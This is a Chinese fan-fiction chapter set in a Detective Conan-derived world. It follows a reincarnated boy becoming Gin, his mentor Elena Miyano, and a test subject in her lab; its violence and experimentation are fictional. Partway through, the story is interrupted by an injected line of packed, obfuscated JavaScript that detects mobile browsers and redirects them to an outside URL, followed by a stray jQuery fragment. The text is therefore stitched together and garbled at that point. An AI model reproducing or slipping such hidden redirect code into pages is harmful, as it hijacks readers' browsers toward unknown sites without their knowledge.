东京郊区,某废弃工厂。
通道最尽头的电梯显示从地下一层上行,在几秒之后无声地来到一层,电梯门缓缓打开。
一名银发少年从电梯内走出,脸上面无表情,绿眸如狼般锐利地扫视周围环境,黑色的长袖长裤上沾满不显眼的大块大块晕染血迹,前踏一步,喷溅到脸颊上的血迹顺着重力滑落,滴在地上。
右手握着一把匕首,左手握/枪,从袖口处同样是滴滴答答未凝结的血液如雨般落下,所过之处,连空气都沾染粘稠的血腥气。
通道另一端站着几名穿白大褂的青年男女,其中领头的一位金发女性面色沉静认真地和周围人说些什么,抬头注意到正缓缓走来的少年,立刻快步走近。
她脸上面色缓和,镜片后同样是绿色的眸子上下快速扫视少年,查看他身上是否有明显的伤势,继而微微松了口气。
“阵,今天的训练结束了?我带你去包扎。”
黑泽阵缓慢地眨了几下眼,眼眶里生理性泛上来的水光削减了眼神的冰冷和杀气,才刚刚进入生长期的他此时仍需仰视面前这位对他关爱有加的科研人员。
调整了一下状态,少年的嘴角扬起一抹轻松的弧度,手腕反转,将两手间的武器收好。
“之后就没有训练了,今天是最后一次了,艾莲娜老师。”
“那你之后是被安排留在东京吗?”长叹一口气,她从白大褂的口袋里拿出一条素净的手帕,轻柔地擦拭着少年脸颊上的血痕。
血痕没擦掉,反倒是揉红了少年白皙的脸颊。
还带着些婴儿肥的脸颊手感格外的好,看着少年略带些不满的眼神,宫野艾莲娜心底的阴霾淡去一些,将手帕重新放回口袋。
“之后要被安排一些任务,才能获得代号。”黑泽阵乖乖站在原地任由宫野艾莲娜动作。回想着组织对他的安排。
“这样啊。”宫野艾莲娜点了点头,牵起少年的右手,吩咐身后的助手先离开,打算带着人去医务室。
“我今天没受伤。”黑泽阵轻轻地解释了一句,动作幅度很小地往后退了一步,观察着眼前人的反映。
察觉到少年并不隐晦的试探眼神,宫野艾莲娜无奈又苦涩地一笑,松开少年的手,轻轻拍了拍银色的脑袋。
她忍不住地想叹气,心头一阵泛酸,却只能强装笑容面对着少年。
“那你去休息一会儿吧,我手上还有一些实验要做,等会来找我一起吃饭哦。”
黑泽阵点头,站在原地静静看着宫野艾莲娜快步离去的背影,直到再也看不见之后,转身走入了另一条岔路口。
在训练和任务之余,组织对于成员的看管和安排很宽松,只要不出这片区域,就不会有人干涉其中的任何行为。
也因此,在一次偶遇里,他结识了作为重要科研人员的宫野艾莲娜和她的丈夫宫野厚司。
听说是因为掌管组织的那位先生的命令,两人从美国的实验室来到了东京郊区做实验,手上的药物研究在最近就会有重大的突破。
医务室内空无一人,黑泽阵轻车熟路地拿起放在一旁病床上的病号服当作替换衣物,进了配备的浴室内洗澡。
温热的水汽蒸腾,慢慢附上镜子的边缘,影影绰绰间,一双绿眸格外显眼。
干脆利落地脱掉身上的衣物,露出纤细甚至看起来有些瘦弱的身躯,上面附满密密麻麻的伤痕,由于日夜高强度训练而成的薄薄肌肉也攀附其上。
在进入生长期后,有些伤疤淡化,有些则化为狰狞的符号一直顽固地留存着。
捏了捏手臂上并不是那么明显的肌肉,黑泽阵有些苦恼自己还是太过于瘦了,年龄的弱势让他在力量方面会被训练的同期压制,只能通过其他方面的技巧来弥补克服。
带着暖意的水柱连绵不断地从头顶浇下,驱散了身体上的寒意,从上至下笼罩的安全感仿佛回到了母亲的子宫般缠绕四周。
鲜血顺着水流至下,将脚下的水染红,鼻尖萦绕的铁锈味太过浓重,让他的嗅觉早已麻木地习惯。
最后的一次训练,是将在一起训练了近乎六七年的少年们放在类似角斗场的地方,进行激烈的混战,武器需要抢,变成敌人的同伴们更需要防。
经过激烈的厮杀,踏着其余所有人的失败,决出最后的唯一胜者。
他身上的鲜血混杂了不知道多少人的,犹如含混着不知道多少人不甘而痛恨的情绪。
“做的好哦~接下来只需要拿到代号就好啦。”脑中突然响起活泼的夸赞声。
“我以为你已经忘记还有我这个人了。”少年语气嘲讽地冷哼一声,周身的沉重气氛瞬间消散。
“怎么会呢~你可是我挑选出来的宝贵人才啊。”世界意识笑嘻嘻地解释,“我有在暗地里观察你的进展哦,一切都很顺利。”
黑泽阵,他本来不叫这个名字,但他原来的名字也已经成为过去式。
他并不属于这个世界,而是在死后被这个世界的世界意识拉来,说是需要他填补重要角色缺失的空缺。
他来到的世界是由《名侦探X南》所衍生出来的世界,由于衍生世界的不稳定性,经常性会出现角色缺失的情况。
普通角色还好,世界意识可以应付过去创造设定自主运行程序保证稳定,但重要角色却不能敷衍。
可是本世界里找不到能堪大任的原住民,因此世界意识果断拉来别的世界的打工仔。
也就是他:)
他需要顶替的角色是其中的黑衣组织的杀手,琴酒,真名黑泽阵。
但是作为一个完全不看动漫不混二次元的社畜,他对于这部动漫和这个角色完全不了解。
结果世界意识像个无良的黑心资本家,没有任何解释,一个成年人的灵魂硬是被塞进刚满三岁的小孩身体里,经历了远渡重洋,家破人亡,艰苦训练和刚刚结束的最终考验,期间没有任何的提示和帮助,全靠他自己命硬才活到了今天。
人生真是艰难。
“嗯……让我看看,在柯学元年之前没有琴酒的直接剧情,所以只要你拿到了代号,就可以清闲一段时间啦。”
“感觉你像是拿着一根肉骨头在面前吊着我,”黑泽阵嗤笑一声,关掉了水龙头,扯过毛巾擦拭头发,“还有,柯学元年是什么?”
“到时候你就知道了,哦哈哈哈哈……”世界意识无良地笑了起来,听起来充满了恶趣味。
不打算告诉我具体剧情吗……也无所谓了。
黑泽阵穿过来之后像是脑子缺了一根情绪波动的筋,和这个世界隔着一层厚障壁,不论是多么激烈的情况都不能引起他强烈的情绪变化,残酷的厮杀也是。
虽然理智告诉他这种地下组织的罪孽,内心深处潜意识传来的却不是因为深陷其中而产生的负罪感,更多的是“啊,黏在身上的血迹终于洗掉了”的如释重负。
他严重怀疑是世界意识做了什么。
穿上病号服,宽大的衣袖掩盖住没日没夜训练才练成的精壮躯体,衬得少年的体型瘦弱。
沾染潮湿水汽的银白色的中长发半披散在肩膀上,温热雾气蒸腾,给苍白的肤色增添上一抹淡红。
走出浴室,随手拿来两卷绷带开始处理身上的伤口。
伤口并不深,此时已经没有鲜血渗出,只是因为没有及时得到妥善处理而显得更加严重了,泛白的皮肉外翻,更增添几分狰狞的讯号。
处理掉自己原本的脏衣服,黑泽阵拿上武器回了趟宿舍。
转过几个令人晕头转向极易迷失方向的转角,沿着走廊走到深处。
空气中弥漫着尘埃般的寂静,半高的窗户斜斜地投进黯淡的阳光,才让他后知后觉地意识到现在已经是日暮时分了。
所有的房门紧闭,在这段时间里,也不会有人再打开了。
没有换衣服,黑泽阵神情自若地穿着病号服在基地里晃荡,乘着电梯,他来到了基地的第四层,这里是这个基地最重要也最值钱的地方。
科研中心。
门口的安保瞥了他一眼,见到他却也没有阻拦,面无表情地看他刷卡进了门。
通行卡是宫野艾莲娜有一次吃饭时给他的,并希望他可以多来找找她。
比他年长几岁的科学家眼里的情绪依旧是读不懂的复杂,但在直觉的驱使下,黑泽阵没说什么客套的话,默默接过了通行卡。
这也是他第一次主动走进科研中心。
玻璃门打开,黑泽阵慢慢往里走。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332925|183329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼前的科研中心和想象中的,和电视剧里放映出来的完全不一样。
他所进入的这个区域,是宫野夫妇研究药物的主要负责区域。
组织对宫野夫妇的研究很看重,因此特批了一大片区域来用作——
药物开发的人体实验。
在这种地下组织里,或许最不值钱的就是人命。
黑泽阵记忆中清晰地呈现着因家破人亡偷渡到日本,最后被组织像商品一样带走的全过程。
将脑海中的不愉快暂且摒除,黑泽阵扫视一圈,寻找着宫野艾莲娜的身影。
视线的移动在半途中止。
半遮的白色帘后是一张医院里普遍可见的病床,病床上的金发女性双膝并拢坐在床上,手肘撑着膝盖,下巴垫在双手交叉的手背上,整个人像一座凝固的塑像,视线直直地、毫不闪避地盯着他。
她的年龄看起来不大,面容中有着少女未褪尽的柔软稚嫩,又带着成年的柔媚韵味,水绿色的眸子带着猫科动物特有的警觉的幽光。鼻梁高挺,五官典型的带有盎格鲁-撒克逊式的深刻和精致。
穿着的病号服像一张松弛的帆,空空荡荡地挂在她身上,身上像是只有骨架一般的瘦削,整个人呈现出一种近乎形销骨立的枯槁感,四目相对时的目光里却灼灼,带着一股难以言明的野蛮的、燃烧生命般的韧劲。
格外抓人。
黑泽阵一愣。
出现在这个场所,穿着病号服躺在病床上,这个女人的身份除了实验体不作他想。
但给人的感觉,又不像是只是实验体那么简单。
“你的编号是多少?”
就在黑泽阵决定结束这长久沉默的对视,打算抬步离开时,病床上的女人沙哑地开口了。
语调上扬,带着钩子般的醇厚和迷人。
虽然身处日本东京,但说的是英语,似乎也将黑泽阵的面容特征考虑其中。
见四周没人注意到这个方位展开的对话,黑泽阵上前两步,来到了病床前,随手一扯,唰的一下拉上了白帘。
“我不是实验体。”他同样用英语回答。
金发女人似乎带了点惊讶,绿色的猫眼上下扫视了眼前少年的穿着,对这个回答持保留意见。
“那你为什么会来这里?”女人又抛出一个问题,眼中带着纯然的好奇。
“找人。”黑泽阵言简意赅地回答,左手放进了病号服自带的上衣口袋,摩挲着什么。
白帘显然起到了视线阻隔的作用,透过这层无时无刻不在晃动的白布,周遭的一切都是朦胧的,扭曲成更可怖的幻象,经过的人影被无限拉扯和挤压,变成巨大的、无声蠕动的阴影,又或者坍塌成细瘦扭曲的鬼魅,在帘布上无声地漂移。
每一次晃动,都带来一阵未知的、令人窒息的战栗。
仪器运行着发出低沉的、持续不断的嗡鸣声,研究人员压低的絮语零碎且意义不明,在帘布内反复碰撞,叠加,搅动起耳膜内粘稠的不安。白炽灯灼人的光线穿透后减弱,却又带了点惨白的、病态的光晕,如同霉菌般在视网膜上蔓延生长。
这里自成一个小世界,却也变成了一个囚笼,更像一具活着的、惨淡的裹尸布。
可有些人并没有这个顾虑。
听到熟悉的声音传来,黑泽阵一把拉开了帘子,看到了宫野艾莲娜受到惊吓后向后退了两三步的下意识反映。
“阵,你怎么在这里?”宫野艾莲娜眉头皱了一下又松开,视线掠过少年身后的病床,又故意忽视,对眼前人扯出笑意。
黑泽阵看着宫野艾莲娜又一次露出的古怪表情,平静地切换成日语回答,“来找您吃饭,老师。”
“好的,”宫野艾莲娜快速应声,“跟我来这边。”
说完,装作盯着自己手上的数据,快步离去了。
墨绿色的眸子眨了眨,黑泽阵微不可察地叹气,左手握拳,从口袋里拿了出来。
转身,毫不意外那股望着他的灼热视线,身体向前一步,左手前伸,松手——
一堆五颜六色的糖果从手中降落,停驻在白色的病床上。
“Candies,”黑泽阵垂眸,声音放轻,“for you.”①